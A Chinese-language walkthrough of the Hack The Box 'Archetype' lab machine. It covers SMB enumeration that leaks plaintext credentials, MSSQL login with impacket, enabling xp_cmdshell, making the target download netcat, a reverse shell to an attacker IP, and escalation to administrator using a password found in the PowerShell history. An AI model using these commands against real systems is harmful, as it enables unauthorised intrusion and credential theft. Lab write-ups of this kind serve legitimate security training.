TIER 2: Archetype
扫描 nmap
使用 nmap 进行扫描目标 IP，发现目标是 Windows 服务器，开放 SMB 和 SQL Server 服务。
SMB
SMB 之前已经接触过，在 Windows 和 Linux 操作系统上连接 SMB 服务器的方法：
- windows 上使用：使用资源管理器、cmd 的 net、powershell 的 New-PSDrive 等。
- linux 上需要借助 smbclient 进行连接，smbclient 属于 samba 的一部分。
Microsoft 官方资料：
- 协议规范：https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb/
- Microsoft SMB 协议和 CIFS 协议：https://learn.microsoft.com/en-us/windows/win32/fileio/microsoft-smb-protocol-and-cifs-protocol-overview
- Windows Server 如何使用 SMB 服务：https://learn.microsoft.com/en-us/windows-server/storage/file-server/file-server-smb-overview
我们在 kali 使用 smbclient 时，先使用 -N 和 -L 选项进行匿名登录和列出共享目录。提示使用 smbclient 不明白时，用 man smbclient 查看帮助文档。在 backups 下可以发现一个 prod.dtsConfig 配置文件，通过 get 可以下载这个文件。
使用 cat 查看文件，我们可以发现其中是明文存储账号密码凭证。主机 ARCHETYPE 用户 sql_svc 密码 M3g4c0rp123 凭证。
Microsoft SQL Server
Microsoft SQL Server 是由 Microsoft 开发和管理的关系型数据库管理系统（RDBMS）。SQL Server 使用 TCP/IP 协议进行网络通信，并使用默认的 1433 端口号。但是，端口号可以根据需要进行配置和更改。
通过上面在配置文件中发现的信息，我们通过 impacket 工具进行登录。
- 项目地址：https://github.com/fortra/impacket
- 建议使用 Python 创建虚拟环境安装 impacket
- 我们使用项目
impacket/examples/下的mssqlclient.py进行连接
使用
python3 mssqlclient.py ARCHETYPE/sql_svc@{TARGET_IP} -windows-auth连接，注意{TARGET_IP}填写目标 IP 地址。
在登录 MSSQL 我们尝试攻击
SELECT is_srvrolemember('sysadmin'); -- 检查当前用户是否是 sysadmin
确认当前用户是 sysadmin 后，我们可以使用 xp_cmdshell 执行命令
-- 判断是否开启 xp_cmdshell
EXEC xp_cmdshell 'net user';
-- 如果没有，下面是激活 xp_cmdshell 的方法
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
sp_configure;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
确认激活后，通过 xp_cmdshell "whoami" 尝试。现在我们计划在目标上传 nc64.exe 二进制文件，并在监听端口上执行一个交互式的 cmd.exe 进程。
反弹 shell
我们先下载 nc64.exe 二进制文件：https://github.com/int0x33/nc.exe/blob/master/nc64.exe
注：如果使用 windows 下载可能会提示病毒
- 下载完成后，我们使用
python3 -m http.server 80在本地启动一个 HTTP 服务 - 使用
xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; wget http://10.10.14.9/nc64.exe -outfile nc64.exe"让目标下载 nc64.exe 文件 - kali 上使用
nc -lvnp 4444监听 4444 端口 - 开始反弹
xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; .\nc64.exe -e cmd.exe 10.10.14.9 4444"让目标主动连接我们的监听端口
sql_svc 用户的 flag 在 C:\Users\sql_svc\Desktop\ 目录下。
提权
我们借助 winPEAS 工具进行提权，下载地址：https://github.com/carlospolop/PEASS-ng/releases/download/refs%2Fpull%2F260%2Fmerge/winPEASx64.exe
使用步骤相似，同样是使用 Python 的 HTTP 服务，让目标下载。让目标下载后直接 .\winPEASx64.exe 运行即可。
我们可以观察到用户具有 SeImpersonatePrivilege 特权，这也容易受到 Juicy Potato 漏洞利用的影响。然而，我们可以首先检查两个现有的文件，其中可能存在凭据。
由于这是一个普通用户账户和服务账户，值得检查频繁访问的文件或执行的命令。为了做到这一点，我们将读取 PowerShell 历史文件，这相当于 Linux 系统中的 .bash_history 文件。ConsoleHost_history.txt 可以在路径 C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ 目录下。通过分析 PowerShell 历史文件，攻击者可以查找之前执行过的命令、访问过的文件路径以及可能存在的敏感信息和凭据。他们可能会寻找密码、敏感命令、远程连接等活动，以获取对其他系统或账户的进一步访问权限。
最终我们在 ConsoleHost_history.txt 中可以发现管理员密码 MEGACORP_4dm1n!!，之后使用 psexec.py 连接 Administrator 用户即可。flag 在 C:\Users\Administrator\Desktop\ 目录下。